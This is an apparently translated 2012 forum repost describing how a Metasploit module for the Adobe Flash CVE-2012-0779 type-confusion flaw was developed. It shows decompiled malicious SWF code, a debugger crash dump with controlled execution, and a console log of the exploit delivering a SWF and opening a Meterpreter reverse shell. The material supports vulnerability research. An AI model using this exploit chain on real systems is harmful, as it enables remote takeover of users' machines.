黄亚颛 發表於 2012-6-28 15:22:11

利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)

上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。<br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" />根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。<br />今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。<br />最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理&nbsp;AMF (Action Message Format)发生的问题。<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode19"><br />public function v42(_arg1:String):void{<br />// The NetConnection class creates a two-way connection<br />// between a client and a server. The client can be a Flash<br />// Player or AIR application. The server can be a web server,<br />//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service<br />this.v15 = new NetConnection();<br />var _local2 = "rtmp://";<br />var _local3 = "/TSGeneralSetting";<br />var _local4:String = ((_local2 + _arg1) + _local3);<br />// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way<br />// network endpoint for RTMFP peer-to-peer group communication<br />this.v15.connect(_local4);<br />// Calls a command or method on Flash Media Server or on an application server running Flash Remoting<br />this.v15.call("systemMemoryCall", this.v16, "argc");<br />}<br /></div><br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062815223931.png" /><br />我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:<br />&nbsp;第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:<br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062815223932.png" /><br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" />恶意RTMP服务器响应的&ldquo;_error&rdquo;信息如下,看起来如下:<br />
<thead style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">
</thead>
<th style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" valign="middle"></th>
Field Name
<th style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" valign="middle"></th>
Type
<th style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" valign="middle"></th>
Description Command Name<br />String<br />_error indicates an error<br />Transaction ID<br />Number<br />Transaction ID<br />Information<br />Object<br />Name-value pairs that describe the response from|the server &lsquo;code&rsquo;, &lsquo;level&rsquo;, &lsquo;description&rsquo; are names of few.<br />运行了RTMP &ldquo;_error&rdquo; 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode20"><br />(348.540): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.<br />eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000<br />eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc<br />cs=001bss=0023ds=0023es=0023fs=003bgs=0000             efl=00050202<br />Flash32_11_2_202_228!DllUnregisterServer+0x300e84:<br />104b1b2d 8b422c          mov   eax,dword ptr <br />ds:0023:44444470=????????<br /> <br />0:000&gt; u eip<br />Flash32_11_2_202_228!DllUnregisterServer+0x300e84:<br />104b1b2d 8b422c          mov   eax,dword ptr <br />104b1b30 53            push    ebx<br />104b1b31 ffd0            call    eax<br /></div><br />因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意&rdquo;_error&rdquo; 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。<br />Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。<br />如下:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode21"> <br />msf &gt; use exploit/windows/browser/adobe_flash_rtmp<br />msfexploit(adobe_flash_rtmp) &gt; exploit<br />[*] Exploit running as background job.<br /> <br />[*] Started reverse handler on 192.168.1.157:4444<br />[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0<br />[*]Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0<br />[*] Server started.<br />msfexploit(adobe_flash_rtmp) &gt; [*] 192.168.1.158    adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0<br />[*] 192.168.1.158    adobe_flash_rtmp - Using msvcrt ROP<br />[*] 192.168.1.158    adobe_flash_rtmp - Sending html<br />[*] 192.168.1.158    adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf<br />[*] 192.168.1.158    adobe_flash_rtmp - Sending Exploit SWF<br />[*] 192.168.1.158    adobe_flash_rtmp - Connected to RTMP<br />[*] Sending stage (752128 bytes) to 192.168.1.158<br />[*] Meterpreter session 1 opened (192.168.1.157:4444 -&gt; 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200<br />[*] Session ID 1 (192.168.1.157:4444 -&gt; 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'<br />[*] Current server process: iexplore.exe (2284)<br />[*] Spawning notepad.exe process to migrate to<br />[+] Migrating to 3904<br />[+] Successfully migrated to process<br /></div><br />该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。<br />via/Juan Vazquez 译/freebuf<br />
頁: [1]
查看完整版本: 利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)